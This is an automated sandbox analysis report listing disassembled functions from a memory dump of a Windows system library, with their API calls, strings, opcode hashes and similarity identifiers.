Function 6C0017B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6C0DF2C8,00000018), ref: 6C0017D7
RtlGetIntegerAtom.1105(?,?,?,6C0DF2C8,00000018), ref: 6C0017F3

Part of subcall function 6C00187D: _wcsicmp.1105(0000001C,?,?,?,00000000,?,?,?,?), ref: 6C001921

RtlReleaseSRWLockExclusive.1105(?,?,?,?,6C0DF2C8,00000018), ref: 6C00185D

Part of subcall function 6C001986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6C0013F2,6C0DF288,00000044), ref: 6C001995

Strings

Atom, xrefs: 6C0017C7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAtomHandleIndexIntegerReleaseValid_wcsicmp
String ID: Atom
API String ID: 2453091922-2154973765
Opcode ID: 3d3767710c3a5343278b1023b89d70c3cae4104ba906620986c4e331316192d4
Instruction ID: bc0533cb86c2c71484d03c832c6158554d180dd062aae6db3c8ef4e9b1092936
Opcode Fuzzy Hash: 3d3767710c3a5343278b1023b89d70c3cae4104ba906620986c4e331316192d4
Instruction Fuzzy Hash: 1F31C535E01625DBEB00CF9484407EEB3F9BF0971CB52812AE864A7B40DB39DE0687A1

Uniqueness

Uniqueness Score: -1.00%

Function 6C094955, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 6C031D47: memset.1105(00000000,00000000,6C0517F0,?,00000001,00000000,?,6C008D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6C031D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() found activation context data at %p with wrong format,RtlpQueryRunLevel,?,?,00000030,?,00000030,?,?,00000001,?,?), ref: 6C0949E1

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6C0949D9
SXS: %s() found activation context data at %p with wrong format, xrefs: 6C094A03
RtlpQueryRunLevel, xrefs: 6C0949D4, 6C0949FE

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemset
String ID: RtlpQueryRunLevel$SXS: %s() found activation context data at %p with assembly roster that has no root$SXS: %s() found activation context data at %p with wrong format
API String ID: 4188176266-4139752556
Opcode ID: 16c4cfba8795a6509d81102e9e52583e2c0f6fe15d288f4839cb06e9a4c30417
Instruction ID: 6d5d0c81545a351ff3bcc76ebd8a33e01a2f6a1b413ad2f96eb8f4c822c4d61d
Opcode Fuzzy Hash: 16c4cfba8795a6509d81102e9e52583e2c0f6fe15d288f4839cb06e9a4c30417
Instruction Fuzzy Hash: 9C21E5B2A04310AFC324CF49C880F5BB7EDEBC5358F45465EF8699B651DA30ED41C6A5

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C40DC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0FE0), ref: 6C0C4110

Strings

RtlSetUserValueHeap, xrefs: 6C0C4127, 6C0C4184

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSetUserValueHeap
API String ID: 3446177414-1142157168
Opcode ID: 9e4c5ed69763d1e19904eefdb2f09cb8d808473e0a2a7a5d294b5003acdcaf91
Instruction ID: 9332e601950c3c27542e379a0597308a927b17cb4daf0891ebc1d466c1a9c228
Opcode Fuzzy Hash: 9e4c5ed69763d1e19904eefdb2f09cb8d808473e0a2a7a5d294b5003acdcaf91
Instruction Fuzzy Hash: B121F430A05254AFDF01CFF889407EEBFF2BF55758F048048E89467A91CB355A49DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C387C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0E0F20), ref: 6C0C38B3

Strings

RtlGetUserInfoHeap, xrefs: 6C0C38CA, 6C0C3927

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlGetUserInfoHeap
API String ID: 3446177414-1656697243
Opcode ID: 0c46a04ec6f66627267c82066f62d8e0d33182c7812f96abc3857b83a3234358
Instruction ID: 5f30fee4c3c2c08292a69cb6608630c24f7cbd1dbc607631e53c339c945cf12e
Opcode Fuzzy Hash: 0c46a04ec6f66627267c82066f62d8e0d33182c7812f96abc3857b83a3234358
Instruction Fuzzy Hash: 4421D631A15358AFDF01CFB8C5407DEBFF1AF0A318F048548E4942BA91C7319A59DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C4212, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,6C0F79A0,6C0E0EA8,00000024,6C076051,?,?,00000000,00000000,?,?,6C033347,?,00000000,?), ref: 6C0C423F

Strings

RtlSizeHeap, xrefs: 6C0C425B, 6C0C42B9

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSizeHeap
API String ID: 3446177414-202636049
Opcode ID: 15bd778e8727001150bc04d1b142ff883fdd1d3b770ae7ca68225018acd9c16d
Instruction ID: 7f40857416ac736480b5720c931bb101af36cc0de5f2353c2e774e7c128e2e28
Opcode Fuzzy Hash: 15bd778e8727001150bc04d1b142ff883fdd1d3b770ae7ca68225018acd9c16d
Instruction Fuzzy Hash: A3210430A05214ABEB00CBE8C6447EDBFF0BF45318F108648D42427A90C7756A49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C083E13, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

wcschr.1105(?,0000002C,?,?,00000000,?,?,6C06060B), ref: 6C083E23
wcstoul.1105(-00000002,6C06060B,00000010,?,?,00000000,?,?,6C06060B), ref: 6C083E3D
DbgPrintEx.1105(00000055,00000003,CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X,?,?,00000000,?,?,6C06060B), ref: 6C083E5A

Part of subcall function 6C083C93: wcschr.1105(?,0000003D,00000000,?), ref: 6C083CAC
Part of subcall function 6C083C93: RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6C083CD0
Part of subcall function 6C083C93: RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6C083D72
Part of subcall function 6C083C93: RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6C083D89
Part of subcall function 6C083C93: RtlFreeUnicodeString.1105(?,00000000,?), ref: 6C083DED

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 6C083E51

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$wcschr$AnsiCompareFreeInitPrintwcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
API String ID: 2652356044-1863042022
Opcode ID: b064b737f259be4fe0b59675bfc848edb64ccf10b4e2f8b9633623caa48cde1c
Instruction ID: fecebc727090144fd9d8894e4b0a1532c1e1a764012cd5c9e9d0a3bd4b534a4e
Opcode Fuzzy Hash: b064b737f259be4fe0b59675bfc848edb64ccf10b4e2f8b9633623caa48cde1c
Instruction Fuzzy Hash: 8AF0463220020037EA18465AAC47FE73BDDCFC5A64F50015CFA189B281EA91EE10C2F0

Uniqueness

Uniqueness Score: -1.00%

Function 6C001FA1, Relevance: 6.3, APIs: 4, Instructions: 266COMMON

Download Yara Rule

APIs

memcpy.1105(?,?,00000000,?,?,?), ref: 6C0020AB

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b4cd624cfc52c7473cd9d5da6c24eb0cb561b345dccc74c408e4ee5d56c3f1cb
Instruction ID: 1312f2513df882add3aa5a886e5c60a2fffcc3b836a8fb8ce37a619be189512c
Opcode Fuzzy Hash: b4cd624cfc52c7473cd9d5da6c24eb0cb561b345dccc74c408e4ee5d56c3f1cb
Instruction Fuzzy Hash: BCA1B471A012198BEB20CA18C9447EE73FDBF44318F6181A99999D3A40DF359A96CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 6C0011E0, Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

iswctype.1105(0000000A,00000004), ref: 6C001244
iswctype.1105(00000000,00000004), ref: 6C05EC6A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype
String ID:
API String ID: 304682654-0
Opcode ID: f1847367e8eed041b7c4d083d24c1fae7a54a6d9eaa32c08efd41a1c683d6e83
Instruction ID: e6185e2f65ba3acdb263e79edbfdf9b0dc6828ccecdfe2917feaf1d48e2e70f0
Opcode Fuzzy Hash: f1847367e8eed041b7c4d083d24c1fae7a54a6d9eaa32c08efd41a1c683d6e83
Instruction Fuzzy Hash: 40710571F0511A8BEF14CEA8C5507FE77F1AB49308FA1452AD9A1E7B80DB38D961C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C001E50, Relevance: 6.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105(C000000D,?,00000000,6C0DF330,00000018), ref: 6C05F223
RtlNtStatusToDosError.1105(C000000D), ref: 6C05F2A6
RtlEnterCriticalSection.1105(?), ref: 6C05F2BB
RtlNtStatusToDosError.1105(C000000D), ref: 6C05F2E2

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus$CriticalEnterSection
String ID:
API String ID: 152543406-0
Opcode ID: 089edd9b147f3a06a34d11f7d8ab6ac7527ffceae32ee4cda0eed1b50ed0e0d6
Instruction ID: 53a3b545e08084a670754cee4875a48eda0d36b7b0f54238fc2d10a6dafb6712
Opcode Fuzzy Hash: 089edd9b147f3a06a34d11f7d8ab6ac7527ffceae32ee4cda0eed1b50ed0e0d6
Instruction Fuzzy Hash: ED51F2B1A056859FEB00CF68C680BAE7BF5AF4930CF558529D86597F40C738E856CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0DED52, Relevance: 6.1, APIs: 4, Instructions: 110timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F8684,6C0F8668,?,?,6C0F8668,6C0F8668,?,6C0DE5F4,?,80000002,6C0F8668,6C0F8660), ref: 6C0DEDA9
RtlReleaseSRWLockExclusive.1105(6C0F8684,6C0F8684,6C0F8668,?,?,6C0F8668,6C0F8668,?,6C0DE5F4,?,80000002,6C0F8668,6C0F8660), ref: 6C0DEE42
RtlDebugPrintTimes.1105(?,?,6C0F8684,6C0F8684,6C0F8668,?,?,6C0F8668,6C0F8668,?,6C0DE5F4,?,80000002,6C0F8668,6C0F8660), ref: 6C0DEE50
RtlReleaseSRWLockExclusive.1105(6C0F8684,6C0F8684,6C0F8668,?,?,6C0F8668,6C0F8668,?,6C0DE5F4,?,80000002,6C0F8668,6C0F8660), ref: 6C0DEE5B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimes
String ID:
API String ID: 309489879-0
Opcode ID: ebd5219e54750892a1dc3565b9b44427d62ab917be5bc9c505b5b1e52ddb6923
Instruction ID: d1d803b4f1ba663f95437b0cd696fb20a3ace8e7c7c1e25814653a7e0bc52783
Opcode Fuzzy Hash: ebd5219e54750892a1dc3565b9b44427d62ab917be5bc9c505b5b1e52ddb6923
Instruction Fuzzy Hash: 5E31E432A006259B8B09CE19CC906ADF7F5EF8A320359426DE926CB795DB34FD45CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 6C038ED7, Relevance: 6.1, APIs: 4, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

wcsrchr.1105(?,0000005C,00000000,00000000,00000000), ref: 6C038F1B
memcpy.1105(?,?,?,00000000,00000000,00000000), ref: 6C038F72
LdrFindEntryForAddress.1105(?,?,00000000,00000000,00000000), ref: 6C038F9D
memcpy.1105(?,?,00000004,?,?,00000000,00000000,00000000), ref: 6C038FD3

Part of subcall function 6C0392FC: RtlEnterCriticalSection.1105(6C0F6D80,6C0E0158,00000018,6C0063DB), ref: 6C039331

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$AddressCriticalEnterEntryFindSectionwcsrchr
String ID:
API String ID: 3299649961-0
Opcode ID: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction ID: fd19f3ae12d577c79ee2e485f0e1adb100dc074c145e37bd755fa55363399989
Opcode Fuzzy Hash: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction Fuzzy Hash: 2B3193722096229FD704CF18CC5076AB7E2FF84315F18866AF95987B90D730E864C795

Uniqueness

Uniqueness Score: -1.00%

Function 6C02ECE0, Relevance: 6.1, APIs: 4, Instructions: 103timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6C02ED2C
RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6C02ED90
TpSetWaitEx.1105 ref: 6C0742DE
RtlDebugPrintTimes.1105(?,?,00000000,00000000,?,00000000,00000000), ref: 6C07432F

Part of subcall function 6C02FC39: ZwAssociateWaitCompletionPacket.1105(?,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000,?,00000000,00000000), ref: 6C02FC71

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockWait$AcquireAssociateCompletionDebugPacketPrintReleaseTimes
String ID:
API String ID: 1549838691-0
Opcode ID: b5f8834498085e3183056735de1e567725cb02efd8eedda2deafc47ba5da9ee4
Instruction ID: d42c03385f0635166b4cf51b3db0a28c119cd9eaedb8491dbd151fe0a9878fad
Opcode Fuzzy Hash: b5f8834498085e3183056735de1e567725cb02efd8eedda2deafc47ba5da9ee4
Instruction Fuzzy Hash: FE31CF35644716ABCB14CF74C8447AAF7E9BF85319F054A29DC6887640DB34E8258BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BC08A, Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000001,?,?,?,6C0BBC33,?,C0000002,00000020,?,?), ref: 6C0BC0CA
memcpy.1105(0000000C,?,?,?,?,?,?,?,?,00000001,?,?,?,6C0BBC33,?,C0000002), ref: 6C0BC115
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,?,00000001,?,?,?,6C0BBC33,?,C0000002,00000020,?), ref: 6C0BC17F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleasememcpy
String ID:
API String ID: 753335654-0
Opcode ID: 03d8757248b965e49e1b0c158515095173f7da7af77ab5a141dda4d095e651e3
Instruction ID: 37cb8358cd23c7b8176df6f5c9c657386d8f5db112c3d7bae3d4bd00690697fa
Opcode Fuzzy Hash: 03d8757248b965e49e1b0c158515095173f7da7af77ab5a141dda4d095e651e3
Instruction Fuzzy Hash: 4031F272A08505ABC714DF68C880BEAB3F9FF05718B44C52DE81DABA00DB31F956CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D8050, Relevance: 6.1, APIs: 4, Instructions: 78threadCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F86C4,00000008,?,00000000,00000008,?,6C05F8D6,?,00000000,00000000,?,6C0022D2,00000000,?,00000000,00000034), ref: 6C0D80AA
RtlReleaseSRWLockExclusive.1105(6C0F86C4,6C0F86C4,00000008,?,00000000,00000008,?,6C05F8D6,?,00000000,00000000,?,6C0022D2,00000000,?,00000000), ref: 6C0D80DD
TpSetPoolMaxThreads.1105(00000000,00000000,6C0F86C4,6C0F86C4,00000008,?,00000000,00000008,?,6C05F8D6,?,00000000,00000000,?,6C0022D2,00000000), ref: 6C0D80F3
TpSetPoolMaxThreadsSoftLimit.1105(00000000,00000000,00000000,00000000,6C0F86C4,6C0F86C4,00000008,?,00000000,00000008,?,6C05F8D6,?,00000000,00000000), ref: 6C0D80FB

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockPoolThreads$AcquireLimitReleaseSoft
String ID:
API String ID: 4208054433-0
Opcode ID: 321eaaacd2d4369bafaac566f5f4469b62f843de36258e1fd7a84538f71ad5bd
Instruction ID: d9104e42c21045c278f385420892d0e1630cecc4682783f9d162d9f2677551bf
Opcode Fuzzy Hash: 321eaaacd2d4369bafaac566f5f4469b62f843de36258e1fd7a84538f71ad5bd
Instruction Fuzzy Hash: 69117F75B013216787505A6A4C90B8FBAEC4B8674CB17233BED20E7F40DE21FD8546E1

Uniqueness

Uniqueness Score: -1.00%

Function 6C092D0B, Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000008,?,?,6C05FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000), ref: 6C092D24
RtlAcquireSRWLockShared.1105(0000000C,?,00000000,00000000,00000008,?,?,6C05FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6C092D3C

Part of subcall function 6C02FAD0: RtlDllShutdownInProgress.1105(00000000), ref: 6C02FB35
Part of subcall function 6C02FAD0: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C02FBE3

RtlReleaseSRWLockShared.1105(0000000C,0000000C,?,00000000,00000000,00000008,?,?,6C05FFD2,00000000,?), ref: 6C092D6A
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000008,?,?,6C05FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6C092D95

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease$AlertProgressShutdownThreadWait
String ID:
API String ID: 276812241-0
Opcode ID: e221cd6ef71fd1b3ba640192952f1c019311ccc0db6bd8550ed38f3d54c2cbec
Instruction ID: e0b780847cfbc2a9172e0ff494fbac0259f9b063664a939ca6c4effd342bc5aa
Opcode Fuzzy Hash: e221cd6ef71fd1b3ba640192952f1c019311ccc0db6bd8550ed38f3d54c2cbec
Instruction Fuzzy Hash: F01102716022199FCF20CB45C484BD6B3FCEB86358B14852EE99983A10DB35FD89DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C02E63F, Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlSetThreadWorkOnBehalfTicket.1105(?,?,?), ref: 6C02E68B
TpCallbackMayRunLong.1105(?,?,?), ref: 6C02E6A3
RtlActivateActivationContextUnsafeFast.1105(?,?,?,?,?,6C039688,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6C05E258

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivateActivationBehalfCallbackContextFastLongThreadTicketUnsafeWork
String ID:
API String ID: 3384506009-0
Opcode ID: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction ID: b725076fb2122f8caceb804ee6c6dbb9d5c7e5c226ed0c86384ec8fa3e9c6a91
Opcode Fuzzy Hash: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction Fuzzy Hash: A201DB315846008FD710CF39C488B87B7DCEF45329F940669D9684BA85D779EC85CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B8061, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

xl--, xrefs: 6C0B80FD, 6C0B8215
xn--, xrefs: 6C0B80F6, 6C0B810E, 6C0B821C, 6C0B8223

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: xl--$xn--
API String ID: 0-2182639396
Opcode ID: 53c7880e9a1c1adfb3ed622e01d3fb19ed61ecaeacc21ac6e79fa76796a18ee6
Instruction ID: 63371dba6501d6af56e206001824717f934bafdcc13e1a6e51af91310ce79d38
Opcode Fuzzy Hash: 53c7880e9a1c1adfb3ed622e01d3fb19ed61ecaeacc21ac6e79fa76796a18ee6
Instruction Fuzzy Hash: 1BE1C171E0521A8FCF14CFA8C4807AEB7F1FF88314F24866BD955BB650E77699828B50

Uniqueness

Uniqueness Score: -1.00%

Function 6C013AD2, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

MUI, xrefs: 6C06816E

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 14afffe5e6ea27eda8e21a2fd2ce12e9af236179593101907a770989684e8188
Instruction ID: 829295ef52f41125514cb640b025e546cf7b15ab350657633d5c7c4060dac439
Opcode Fuzzy Hash: 14afffe5e6ea27eda8e21a2fd2ce12e9af236179593101907a770989684e8188
Instruction Fuzzy Hash: 4131923460911A9BCB00DF9AC8D07AEF7F9AF46B44F54825ADD509FE01E734DA81C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C013B30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000,C0000034,00000000,?,?,?,00000000,00000001,00000000,00000000), ref: 6C013B76
RtlInitUnicodeString.1105(?,MUI,C0000034,00000000,?,?,?,00000000,00000001,00000000,00000000), ref: 6C013BC8

Strings

MUI, xrefs: 6C013BC2

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitLcidLocaleNameStringUnicode
String ID: MUI
API String ID: 1552940156-1339004836
